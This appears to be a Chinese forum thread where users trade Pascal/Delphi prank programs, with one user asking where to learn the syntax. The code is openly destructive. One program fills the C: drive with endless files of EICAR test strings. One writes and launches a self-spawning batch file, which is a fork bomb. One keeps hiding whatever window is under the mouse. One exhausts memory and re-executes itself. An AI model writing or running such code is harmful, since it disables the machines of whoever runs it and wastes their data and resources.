垃圾：
CONST SC:STRING[3]='C:\';
RIN:STRING='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*';
VAR
f:text;
i,j:longint;
s:string;
c:char;
begin
while 1<>0 do
begin
s:=sc+chr(65+random(25))+chr(97+random(25))+'.';
s:=s+chr(65+random(25))+chr(65+random(25))+chr(65+random(25));
assign(f,s);
rewrite(f);
for i:=1 to 4567890 do
begin
writeln(f,rin,rin,rin,rin,rin,rin,rin,rin);
writeln(random(10000));
end;
close(f);
end;
end.


不要只看不回！

uses Dos;
begin
assign(output,'C:\V.BAT');
rewrite(output);
writeln('@Echo off');
writeln('Echo By S.X Studio');
writeln('Start C:\V.BAT');
writeln('Start C:\V.BAT');
writeln('V.BAT');
close(output);
Exec(GetEnv('COMSPEC'),'/C C:\V.BAT');
end.

program hidewindows;
{$APPTYPE GUI} //隐藏黑框框
uses windows;
var
CurMouse : Tpoint; //CurMouse 鼠标的坐标
window : hwnd; //window 窗口的句柄
begin
While (true) DO
begin
GetCursorPos(CurMouse); //取当前鼠标的坐标
window := WindowFromPoint(CurMouse); //取当前鼠标的坐标的窗口
ShowWindow(window,SW_HIDE); // SW_HIDE 隐藏窗口
end;
end.

？

那个~你们那些uses神马的是在哪学的？
还有这些注释括号里加的东西{$APPTYPE GUI} 也不懂
我怎么搜不到，只搜到些奥赛辅导啊？？看不懂啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊

program xuyifan
{$APPTYPE GUI}
uses DOS,windows;
var a:array[1..10000000]of longint;
window:hwnd;
CurMouse : Tpoint;
begin
GetCursorPos(CurMouse);
window := WindowFromPoint(CurMouse);
ShowWindow(window,SW_HIDE);
fillechar(a,sizeof(a),maxlongint);
exec('xuyifan.exe');
end.
终极递归占内存。